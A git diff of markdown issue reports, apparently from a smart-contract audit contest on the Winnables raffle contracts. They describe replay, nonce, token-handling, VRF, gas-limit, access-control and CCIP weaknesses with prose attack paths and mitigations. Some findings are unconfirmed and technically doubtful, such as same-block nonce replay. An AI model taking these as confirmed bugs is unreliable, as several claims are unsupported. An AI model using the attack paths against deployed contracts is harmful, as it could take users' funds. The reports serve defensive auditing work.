equal case. + + +### Internal pre-conditions + +1. A raffle is created. +2. Users participate and buy tickets. +3. The numbers of tickets get exact amount as the `minTicketsThreshold` variable. +4. The `endsAt` of the raffle comes and is greater than `msg.timestamp`. + +### External pre-conditions + +1. The number of tickets bought is the same as `minTicketsThreshold`. + +### Attack Path + +No attack path for this one , just users participating in a raffle. + +### Impact + +The protocol will be stuck with a raffle that cannot be closed nor won , so all of the funds stuck in the raffle will be stuck in the contract. + +### PoC + +_No response_ + +### Mitigation + +Incorporate a `<=` check or a `>=` in one of the function to accommodate a case where the tickets bought equals `minTickets`. \ No newline at end of file diff --git a/396.md b/396.md new file mode 100644 index 0000000..126699f --- /dev/null +++ b/396.md @@ -0,0 +1,45 @@ +Helpful Rose Chicken + +Medium + +# An attacker can reuse signatures across chains for unauthorized ticket purchases, causing financial loss for the protocol. + +### Summary + +The lack of chain-specific information in the _checkPurchaseSig function makes the contract vulnerable to cross-chain replay attacks. An attacker can reuse valid signatures from one chain to perform unauthorized actions on another, causing unauthorized ticket purchases and potential financial loss. + + + +### Root Cause + +[WinnablesTicketManager.sol#L453](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L453)the _checkPurchaseSig function does not include the chain ID in the signature verification process, allowing replay attacks across different chains. + +### Internal pre-conditions + +The attacker obtains a valid signature for a ticket purchase on one chain. +The attacker uses the same signature on a different chain. + +### External pre-conditions + +The signature is valid and has not expired. +The contract is deployed on multiple chains, ethereum and avalanche as stated. + +### Attack Path + +The attacker acquires a valid signature for a specific ticket purchase. +The attacker reuses the signature on another chain to perform an unauthorized ticket purchase. + +### Impact + +The protocol suffers financial loss due to unauthorized ticket purchases enabled by replay attacks. This undermines the integrity of the ticketing system and causes potential revenue loss. + + + +### PoC + +_No response_ + +### Mitigation + +Include the chain ID in the EIP-712 signature verification process to ensure that signatures are unique to each chain, preventing replay attacks. + diff --git a/408.md b/408.md new file mode 100644 index 0000000..22289eb --- /dev/null +++ b/408.md @@ -0,0 +1,37 @@ +Sparkly Crepe Vulture + +Medium + +# The protocol does not support rebased tokens + +### Summary + +When using a rebased token as a prize, there may be insufficient funds due to a decrease in the token balance, and the `claimPrize` function may not be able to run, causing funds to be stuck in the [WinnablesPrizeManager ](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105)contract. + +### Root Cause + +WinnablesPrizeManager does not consider rebased tokens. + +### Internal pre-conditions + +Use the rebased token as the prize. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +As stated in the [documentation](https://audits.sherlock.xyz/contests/516), the protocol supports any ERC20. But rebasing tokens are not actually taken into account, so this is a missing feature. It may cause the prize to be unable to be transferred out and get stuck, or there may be remaining prizes. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/424.md b/424.md new file mode 100644 index 0000000..eabe927 --- /dev/null +++ b/424.md @@ -0,0 +1,67 @@ +Magic Mustard Whale + +High + +# Missing existence check in `buyTickets` function, lead to financial discrepancies for participants + +### Summary + +The missing existence check in [`WinnablesTicketManager.sol :: buyTickets`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L182) + for `RaffleStatus.NONE` will cause `financial discrepancies for participants` as an `attacker or user` will provide a non-existent `raffleId`, causing the system to access uninitialized storage and potentially leading to overpayment or underpayment for tickets. + +### Root Cause + +In the `buyTickets` function and its dependencies, the code does not explicitly check if the raffle status is `RaffleStatus.NONE`. +- [`_checkTicketPurchaseable`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L189) +: This function is responsible for ensuring that the raffle is in a valid state before proceeding with ticket purchases. + +### Internal pre-conditions + + +1. The `raffle.status` must be other than `RaffleStatus.NONE`. + + +2. The `raffle.startsAt` must be at most `block.timestamp` and `raffle.status` must be exactly `RaffleStatus.IDLE`. + + +3. The `ticketPurchased + ticketCount` must be at most `raffle.maxHoldings` and `supply + ticketCount` must be at most `raffle.maxTicketSupply`. + + +### External pre-conditions + +There are no external preconditions required for the attack path to happen. The issue is internal to the contract logic and does not depend on external conditions. + +### Attack Path + + + +1. The attacker calls the `buyTickets` function with a `raffleId` that corresponds to a non-existent raffle (i.e., the raffle status is `RaffleStatus.NONE`). + + +2. The `buyTickets` function calls `_checkTicketPurchaseable`, which accesses `_raffles[raffleId]` without explicitly checking if the raffle status is `RaffleStatus.NONE`. + + +3. Since `_checkTicketPurchaseable` does not verify the existence of the raffle, it proceeds to check other properties of the uninitialized `Raffle` struct, leading to accessing uninitialized storage. + +4. The function retrieves default values from the uninitialized `Raffle` struct, such as `startsAt`, `endsAt`, `minTicketsThreshold`, `maxTicketSupply`, `maxHoldings`, `totalRaised`, and `chainlinkRequestId`. + +5. The attacker may overpay or underpay for tickets due to the misleading information retrieved from the uninitialized `Raffle` struct, resulting in financial discrepancies for participants. + +6. The `buyTickets` function completes the ticket purchase process based on the misleading information, including minting tickets and updating metadata. + + +### Impact + +- Affected Party: Participants of the raffle. + +- Loss: Participants may overpay or underpay for tickets, leading to financial discrepancies. + +- Attacker's Gain: The attacker gains an unfair advantage by exploiting the missing existence check, allowing them to manipulate the ticket purchase process based on misleading information. + +### PoC + +see above attack path! + +### Mitigation + +- Add an explicit check to ensure the raffle status is not `RaffleStatus.NONE` before proceeding with other validations in `function _checkTicketPurchaseable` \ No newline at end of file diff --git a/425.md b/425.md new file mode 100644 index 0000000..fed3bae --- /dev/null +++ b/425.md @@ -0,0 +1,58 @@ +Keen Teal Aphid + +High + +# WinnablesPrizeManager contract will not work with fee on transfer tokens. + +### Summary + +As the team states: "We are supposed to support all 100% valid ERC20 tokens + USDC and USDT." lets take a look at this case. +WinnablesPrizeManager contract will not work with fee on transfer tokens because when the prize is tokens that have fee on transfer. Lets explore the behaviour of such tokens: +Some fee on transfer tokens, do not reduce the fee directly from the transferred amount, but subtracts it from remaining balance of sender. Some tokens prefer this approach, to make the amount received by the recipient an exact amount. Therefore, after funds are send to users, balance becomes less than it should be. +Having said that we should look at how `WinnablesPrizeManager` stores balances. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L40 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L196 +So when an admin decides to withdraw tokens with `withdrawToken` function an amount will be send in this case `availableBalance`, +but the fee will be substracted from the remaining supply, leaving `_tokensLocked` mapping with more tokens that the supply of the contract itself. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L218 +This will result in `claimPrize` reverting due to insufficient balance. + + +### Root Cause + +Root cause is the way to protocol calculates and stores the balance for ERC20 tokens especially those with fee on transfer. +Token balance is calculated in `withdrawToken` function: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L219 +When those tokens are transferred some of the fee on transfer tokens will deduct the fee from the balance , leaving the balance of the contract with less that stored in the mapping `_tokensLocked`. +Now if a user wins the raffle and claims his prize, the `claimPrize` function will be called that transfers `raffle.amount`. +If we have only one raffle using such tokens, the `raffle.amount` will be equal to supposed balance of the contract. +And when `_sendTokenPrize` function is called , the protocol will try to send more tokens that it currently have in it's balance , because it is lowered by the fees previously incurred. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L308 + +### Internal pre-conditions + +1. A raffle is made using tokens that have fees when transferring. +2. Let's assume another is made with the same token , but fails. +3. The admin calls `withdrawToken` at some point in time to withdraw tokens that are not locked in a raffle. +4. Transfer is made and fee is incurred on the transfer which is deducted from the total balance of the contract. + +### External pre-conditions + +1. Just participants in the raffles are needed. + +### Attack Path + +No attack path needed. + +### Impact + +The winner will not be able to claim his prize in ERC20 tokens. + +### PoC + +_No response_ + +### Mitigation + +A check can be implemented to send just the remaining balance if it is lower than the locked ERC20 tokens in the mapping. +Or fee on transfer ERC20 can be excluded from the raffle. \ No newline at end of file diff --git a/426.md b/426.md new file mode 100644 index 0000000..a2d7830 --- /dev/null +++ b/426.md @@ -0,0 +1,41 @@ +Huge Fossilized Turtle + +Medium + +# VRFCoordination minimum confirmation change will DoS randomness requests leading to stuck prizes and ETH + +### Summary + +The block confirmations argument in [WinnablesTicketManager::drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310) is hardcoded to `3`, which may be less than the `s_config.minimumRequestConfirmations` in the VRF coordination. This will make `WinnablesTicketManager::drawWinner()` revert, so the raffle can neither be claimed nor canceled. + +This may happen because the VRF [coordinator](https://vscode.blockscan.com/ethereum/0x271682DEB8C4E0901D1a1550aD2e64D568E69909) has a function to change the minimum request confirmations `setConfig()`, line 230. + +### Root Cause + +In `WinnablesTicketManager:318`, `requestConfirmations` is hardcoded to `3`. In the [VRF coordinator](https://vscode.blockscan.com/ethereum/0x271682DEB8C4E0901D1a1550aD2e64D568E69909), line 390, it checks `requestConfirmations < s_config.minimumRequestConfirmations`, which may revert if `s_config.minimumRequestConfirmations > 3`. + +### Internal pre-conditions + +None. + +### External pre-conditions + +`s_config.minimumRequestConfirmations` is changed by Chainlink. + +### Attack Path + +1. Enough tickets are bought in a raffle. +2. Chainlink modifies the minimum number of block confirmations to a value above 3. +3. `WinnablesTicketManager::drawWinner()` reverts. + +### Impact + +Stuck ETH and prizes. + +### PoC + +The informations above can be confirmed with the links. + +### Mitigation + +Get the minimum number of block confirmations from the config in `WinnablesTicketManager::drawWinner()` and send it if smaller than `3`. \ No newline at end of file diff --git a/430.md b/430.md new file mode 100644 index 0000000..32c2b92 --- /dev/null +++ b/430.md @@ -0,0 +1,30 @@ +Virtual Ebony Cricket + +Medium + +# `WinnablesTicket.sol::balanceOfBatch` could Revert due to out-of-gas when the array size is large + +## Summary +The function `balanceOfBatch` in `WinnablesTicket.sol` contract takes arrays of `accounts` and `id` but no check for array length so when the array becomes large, calling this function could revert due to out of gas. + +## Vulnerability Detail + +The function `balanceOfBatch` in `WinnablesTicket.sol` contract getting arrays of `accounts` and `id` and storing accounts.length into `batchBalances` array and iterates over `accounts.length` to get balance and It does not impose any limits on the size of these arrays. so when an attacker exploit this function by sending large arrays of `address` and `ids` to the `balanceOfBatch` function `accounts.length` will become large and the function will revert due to out of gas whenever its called + +## Impact + +This vulnerability disrupts balance-checking functionality across the application, affecting any frontend or backend components that rely on this function. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L72-L88 + +## Tool used + +Manual Review + +## Recommendation + +Implement a maximum limit on the length of accounts and ids arrays to prevent excessively large inputs. +```solidity +require(accounts.length <= MAX_ARRAY_LENGTH, "Array too long"); +``` diff --git a/436.md b/436.md new file mode 100644 index 0000000..4cd7486 --- /dev/null +++ b/436.md @@ -0,0 +1,39 @@ +Boxy Frost Pig + +Medium + +# Hardcoded gas limit for fulfillRandomWords function in drawWinner() + +### Summary + +Hardcoded gas limit for fulfillRandomWords execution by chainlink may cause revert of execution fulfillRandomWords() because gaslimit will be reached, if gas price of opcodes in one of future next Arbitrum update. And there is no way to resend request to chainlink VRF with custom gas amount. + +### Root Cause + +In `WinnablesTicketManager.sol:319` there is hardcoded value of gas amount, which will be pass in chainlink request to WinnablesTicketManager.sol contract to fulfillRandomWords function. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L321 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +Price for opcodes needs increase by blockchian update. Such situations were already previously in past updates. + +### Attack Path + +1. User call drawWinner() wih hardcoded gas limit +2. Blockchain update. Gas cost of opcodes are increase. And executing of fulfillRandomWords more than hardcoded gas limit (100k). Now it takes 81191. +3. Chainlink send call to fulfillRandomWords() and tx will revert by gas limit reached + +### Impact + +The winner will not be determined. No one will receive the prize, and the owner will not be able to unlock the prize to use it in another raffle. + +### PoC + +_No response_ + +### Mitigation + +Add function, which give opportunity to resend call to chainlink vrf with custom gas lmit. For owner only. \ No newline at end of file diff --git a/440.md b/440.md new file mode 100644 index 0000000..83974d8 --- /dev/null +++ b/440.md @@ -0,0 +1,72 @@ +Magic Mustard Whale + +High + +# Incorrect nonce handling will allow signature replay attacks, leading to unauthorized ticket purchases for participants + +### Summary + +- Root Cause: The `buyTickets` function increments the nonce after checking the signature. + +- Impact: Unauthorized ticket purchases and financial discrepancies. + +- Affected Party: Participants of the raffle. + +- Actor: An attacker. + +- Attack Path: The attacker will reuse the same signature within the same block, bypassing the nonce check and making multiple unauthorized ticket purchases. + +### Root Cause + + In `WinnablesTicketManager.sol: _userNonces[msg.sender]++;` is incremented after `_checkPurchaseSig`, allowing the same signature to be reused within the same block. +This oversight can lead to unauthorized ticket purchases and financial discrepancies for participants. The nonce should be incremented before checking the signature to ensure that each signature is unique and cannot be reused, preventing replay attacks. +```solidity +_checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); +_userNonces[msg.sender]++; +``` +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L190 +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L205 + +### Internal pre-conditions + +1. The contract needs to increment `_userNonces[msg.sender]` after `_checkPurchaseSig` is called. +2. The contract needs to allow the same signature to be reused within the same block due to the nonce being incremented after the signature check. + +### External pre-conditions + +The issue arises from how the nonce is handled within the contract. So its due to internal contract logic. There are no specific external conditions required for the vulnerability path to happen. + +### Attack Path + + +1. The attacker calls the `buyTickets` function with the following parameters: +- `raffleId`: A valid raffle ID. +- `ticketCount`: The number of tickets to purchase. +- `blockNumber`: The current block number. +- `signature`: A valid signature for the purchase. + +2. The `buyTickets` function calls `_checkPurchaseSig` to verify the signature before incrementing the nonce `_userNonces[msg.sender]++;`. + +3. - The attacker reuses the same signature within the same block before the nonce is incremented. + - Since the nonce has not been incremented yet, the signature remains valid for multiple transactions within the same block. + +4. - The `_checkPurchaseSig` function verifies the signature using the current nonce value. + - Because the nonce is incremented after the signature check, the same signature can be reused, bypassing the nonce check. + +5. The attacker successfully makes multiple unauthorized ticket purchases using the same signature. This leads to financial discrepancies as the attacker can purchase more tickets than intended or manipulate the ticket purchase process. + +### Impact + +- Affected Party: Participants of the raffle. + +- Loss: Participants suffer loss of funds due to unauthorized ticket purchases and financial discrepancies, without extensive limitations of external conditions. It affects the core functionality of the raffle system. + +- Attacker's Gain: The attacker gains an unfair advantage by exploiting the incorrect nonce handling, allowing them to make multiple unauthorized ticket purchases using the same signature. + +### PoC + +_No response_ + +### Mitigation + +- the nonce should be incremented before checking the signature., this ensures that each signature is unique and cannot be reused within the same block. \ No newline at end of file diff --git a/456.md b/456.md new file mode 100644 index 0000000..af1de53 --- /dev/null +++ b/456.md @@ -0,0 +1,43 @@ +Boxy Frost Pig + +Medium + +# The winner could not receive his prize + +### Summary + +Die user could not have access to his address in mainnet chain, he could not receive the prize. + +### Root Cause + +In `WinnablesTicketManager.sol:340` contract specify winner address in CCIP message. + + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L338-L340 + +### Internal pre-conditions + +User could use contract address and bought ticket, using contract. So in some cases, user dont have access to this address(his address) on mainnet. + +### External pre-conditions + +_No response_ + +### Attack Path + +User buy ticket +Becomes the winner +Call propagateRaffleWinner function in ticketManager +But could not get prize in mainnet because dont have access to the same address in mainnet + +### Impact + +The winner could not receive his prize + +### PoC + +_No response_ + +### Mitigation + +Add the winner to specify address for mainnet for receiving prize \ No newline at end of file diff --git a/486.md b/486.md new file mode 100644 index 0000000..4468b78 --- /dev/null +++ b/486.md @@ -0,0 +1,92 @@ +Shiny Peach Crocodile + +Medium + +# Missing validation for `KEY_HASH` and `SUBSCRIPTION_ID` in `WinnablesTicketManager.sol` could lead to stuck raffle + +## Summary +The `KEY_HASH` and `SUBSCRIPTION_ID` are initialized in the `WinnablesTicketManager.sol` contract via the constructor. However, there is no validation checks to ensure that the inputs for `KEY_HASH` and `SUBSCRIPTION_ID` are correct. If the inputs are incorrect, `WinnablesTicketManager::drawWinner` cannot execute and the raffle will be stuck. Further, it cannot be cancelled if `raffle.minTicketsThreshold` is reached. + +## Vulnerability Detail + +In the below code extract, we see that there are missing validations to ensure the accuracy of `KEY_HASH` and `SUBSCRIPTION_ID`. + +```solidity +constructor( + address _linkToken, + address _vrfCoordinator, + uint64 _subscriptionId, + bytes32 _keyHash, + address _tickets, + address _ccipRouter + ) VRFConsumerBaseV2(_vrfCoordinator) BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) { + VRF_COORDINATOR = _vrfCoordinator; + SUBSCRIPTION_ID = _subscriptionId; + KEY_HASH = _keyHash; + TICKETS_CONTRACT = _tickets; + _setRole(msg.sender, 0, true); // Deployer is admin by default + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); + } +``` + +It is critical for these inputs to be correct, otherwise `WinnablesTicketManager::drawWinner` cannot execute as incorrect inputs will prevent the oracle from actually supplying a random value to determine the raffle result. + +Note that `keyHash` is not validated within the `VRFCoordinatorV2.sol` [contract](https://github.com/smartcontractkit/chainlink/blob/00f9c6e41f843f96108cdaa118a6ca740b11df35/contracts/src/v0.8/VRFCoordinatorV2.sol#L407-L409). + +```solidity +function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +Further, in the event that this happens and the `raffle.minTicketsThreshold` is reached, the raffle cannot be cancelled and effectively the assets are stuck. + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +## Impact + +Incorrect inputs would prevent the oracle from actually supplying a random value to determine the raffle result, causing the raffle to be stuck. Further, in the event that `raffle.minTicketsThreshold` is reached, the raffle cannot be cancelled and the assets are stuck. + +These validation checks should be included especially on the understanding that the winnables team intend to eventually allow any users to use their platform to raffle out their assets - see the [docs](https://docs.google.com/document/d/12kGD8nJ9DiR0cW5ngT8A6gE7GBG7NwiDCOIkGksL8qY/edit) and extracted quote below: + +_"At launch only Winnables can create raffles but in the future we want to allow partners, then potentially any user to raffle out assets they may be holding and decide on the terms of the raffle."_ + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L51-L65 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +## Tool used +Manual Review + +## Recommendation +Include validation checks to ensure the accuracy of inputs to `KEY_HASH` and `SUBSCRIPTION_ID`. \ No newline at end of file diff --git a/498.md b/498.md new file mode 100644 index 0000000..1fc5e0d --- /dev/null +++ b/498.md @@ -0,0 +1,38 @@ +Fancy Raisin Gorilla + +High + +# Anyone can call `refundPlayers` in `WinnablesTicketManager.sol` + +### Summary + +Bad actors can grief users by refunding their tickets for a specific raffle because there is no check/modifier that ensures that no malicious users will call this function. + +### Root Cause + +There are no checks/modifiers if the `msg.sender` should be able to refund these players. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L212-L228 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This problem results in users being refunded without their knowledge and intention. This griefs the user and results in loss of incentive to use the contract if they will be refunded. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/521.md b/521.md new file mode 100644 index 0000000..55867ab --- /dev/null +++ b/521.md @@ -0,0 +1,24 @@ +Crazy Porcelain Mole + +Medium + +# Risk of overflow and failure when trying to withdraw ETH from the WinnablesTicketManager.sol contract + +## Summary +Risk of overflow and failure when trying to withdraw ETH from the WinnablesTicketManager.sol contract + +## Vulnerability Detail +In the `WinnablesTicketManager::withdrawETH` function, using the unchecked block can mask the error of subtracting `_lockETH` from `address(this).balance`, if it is smaller than `_lockETH`. The result may overflow and the transaction in `_sendETH` fails. + +## Impact +Using the unchecked block can mask the error of subtracting `_lockETH` from `address(this).balance`, if it is smaller than `_lockETH`. The result may overflow and the transaction in `_sendETH` fails as the contract will not have enough ETH. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306 + + +## Tool used +Manual Review + +## Recommendation +Specialized libraries can be used that provide secure functions for these operations. One of these libraries is OpenZeppelin's SafeMath, which offers mathematical functions that throw exceptions in case of overflow or underflow, helping to prevent common errors in numerical calculations. \ No newline at end of file diff --git a/523.md b/523.md new file mode 100644 index 0000000..366f07a --- /dev/null +++ b/523.md @@ -0,0 +1,132 @@ +Magic Mustard Whale + +Medium + +# Lack of re-checking LINK balance before sending message leads to potential transaction failures due to LINK balance changes between fee calculation and message sending + +### Summary + +The lack of re-checking the `LINK` balance immediately before sending the message will cause potential transaction failures for the contract users as legitimate transactions could alter the `LINK` balance between the `fee calculation and message sending`, `leading to insufficient funds for the transaction`. + +This operational issue can be mitigated by implementing an additional balance check immediately before the message is sent, ensuring that the balance remains sufficient and improving the reliability of the contract. + +### Mathematical proof: + +- Let F be the calculated fee required to send the message. +```solidity +uint256 fee = router.getFee(ccipDestChainSelector, message); +``` + +- Let B be the current LINK balance of the contract. +```solidity +uint256 currentLinkBalance = linkToken.balanceOf(address(this)); +``` + +- The contract checks if the fee F is greater than the balance B. +```solidity +if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } +``` + +- There is a time gap between the balance check and the message sending. During this time gap, the balance B can change due to other transactions. +- Let ΔB be the change in balance during the time gap. +The new balance B' after the change is: [ B' = B + ΔB ] + +- If ΔB is negative (i.e., LINK tokens are withdrawn or spent in other transactions), and the absolute value of ΔB is greater than the difference between B and F, then the new balance B' will be less than the required fee F. +Mathematically: [ |ΔB| > B - F \implies B' < F ] +This means: [ B' = B + ΔB < F ] + +### Example: + +**Initial State:** + +- Calculated fee `F = 50 LINK`. +- Initial balance `B = 100 LINK`. + +**Fee Calculation and Balance Check:** + +- The contract calculates the fee `F` to be 50 LINK. +- The contract checks the balance `B` and finds it to be 100 LINK. +- The condition `if (F > B)` is false, so the transaction proceeds. + +**Concurrent Transactions and Balance Change:** + +- During the time gap, an external transaction withdraws 60 LINK from the contract. +- The new balance `B'` is: `B' = B + ΔB = 100 - 60 = 40 LINK`. + +**Attempt to Send Message:** + +- The contract attempts to send the message with a fee of 50 LINK. +- The new balance `B'` (40 LINK) is insufficient to cover the fee `F` (50 LINK). +- The transaction fails due to insufficient funds. + + +### Root Cause + +- In the `_sendCCIPMessage` function, the LINK balance is checked after calculating the fee, but there is no re-check immediately before sending the message. This issue is exacerbated by external/public functions that call `_sendCCIPMessage`, increasing the risk of concurrent transactions affecting the LINK balance. +- [`BaseCCIPSender.sol#L36-L49`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPSender.sol#L36-L49) + +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L282 +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L340 +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L374 + +### Internal pre-conditions + +- Multiple transactions need to be processed concurrently: Any user needs to initiate multiple transactions to set `currentLinkBalance` to be at most the calculated fee. +- Public or external functions need to call `_sendCCIPMessage`: Any user needs to call public or external functions that invoke `_sendCCIPMessage`. + +### External pre-conditions + +The issue is primarily a logical flaw within the `BaseCCIPSender.sol` and does not depend on external pre-conditions. The vulnerability arises from the internal handling of LINK balance checks and the potential for race conditions due to concurrent transactions and if manual monitoring. + +### Attack Path + +1. An attacker or multiple users initiate multiple transactions that interact with the contract. Lets say `function propagateRaffleWinner` +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +2. The contract calculates the fee and checks the LINK balance. `_sendCCIPMessage` +```solidity + +uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } +``` + +3. While the fee is being calculated and the balance is being checked, other transactions (initiated by the attacker or other users) affect the LINK balance. +4. The contract attempts to send the message using the `router.ccipSend` function. +```solidity +messageId = router.ccipSend(ccipDestChainSelector, message); +``` +5. Due to the concurrent transactions affecting the LINK balance, the balance is now insufficient to cover the fee calculated earlier. The transaction fails because the contract does not have enough LINK to cover the fee. + +### Impact + +Legitimate transactions could alter the LINK balance between the fee calculation and message sending, leading to potential transaction failures. + +### PoC + +_No response_ + +### Mitigation + +Re-check the LINK balance immediately before sending the message to ensure it is still sufficient in `function _sendCCIPMessage` diff --git a/533.md b/533.md new file mode 100644 index 0000000..28d205e --- /dev/null +++ b/533.md @@ -0,0 +1,21 @@ +Dizzy Quartz Cuckoo + +Medium + +# a malicious user can claim prize without being a winner.. + +## Summary +The check to determine if the caller is the winner or not is done after transfer of prize.. +## Vulnerability Detail +In `WinnablesPrizeManager::claimPrize` the check to determine if the caller is the winner is done after the transfer of prize and all the external calls which isnt according to CEI and extremely vulnerable,a malicious user can reenter the function and claim the reward without being the winner. + +## Impact +Non deserving people will get the prize. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120 +## Tool used + +Manual Review + +## Recommendation +Follow CEI \ No newline at end of file diff --git a/545.md b/545.md new file mode 100644 index 0000000..c86337f --- /dev/null +++ b/545.md @@ -0,0 +1,79 @@ +Fresh Corduroy Bird + +High + +# CCIP message passing will break as exceptions are not handled gracefully + +## Summary +The CCIP message passing system in PrizeManager and TicketManager contracts will break due to un-handled exceptions. + +## Vulnerability Detail + +The CCIP architecture allows for simultanous CCIP calls to be made from one address. +However, there is a caveat. As per [Chainlink Docs](https://docs.chain.link/ccip/concepts/manual-execution#frequently-asked-questions), under the second header: + +> If a user sends multiple messages and the first message isn't successfully delivered and goes into a manual execution mode, +does that mean all subsequent messages from the user will also be stuck? +It depends. If a message goes into manual execution mode due to receiver errors (unhandled exceptions or gas limit issues), +subsequent messages don't get automatically blocked, unless they would encounter the same error. +However, suppose a message goes into manual execution mode after the Smart Execution time window expires (currently 8 hours). +In that case, subsequent messages must wait for the first message to be processed to maintain the default sequence. + +If a message fails, it can be manually executed, but after the `Smart Execution time` window expires, which is 8 hours at the moment, all subsequent messages will fail until the failing message will succeed. + +The problem is that in `WinnablesPrizeManager` and `WinnablesTicketManager` contracts the reverts are not handled gracefully. This can easily lead to a CCIP call that can never be executed, thus resulting in a Denial of Service. + + + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + // @audit-issue ccip messages shouldn't revert + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + 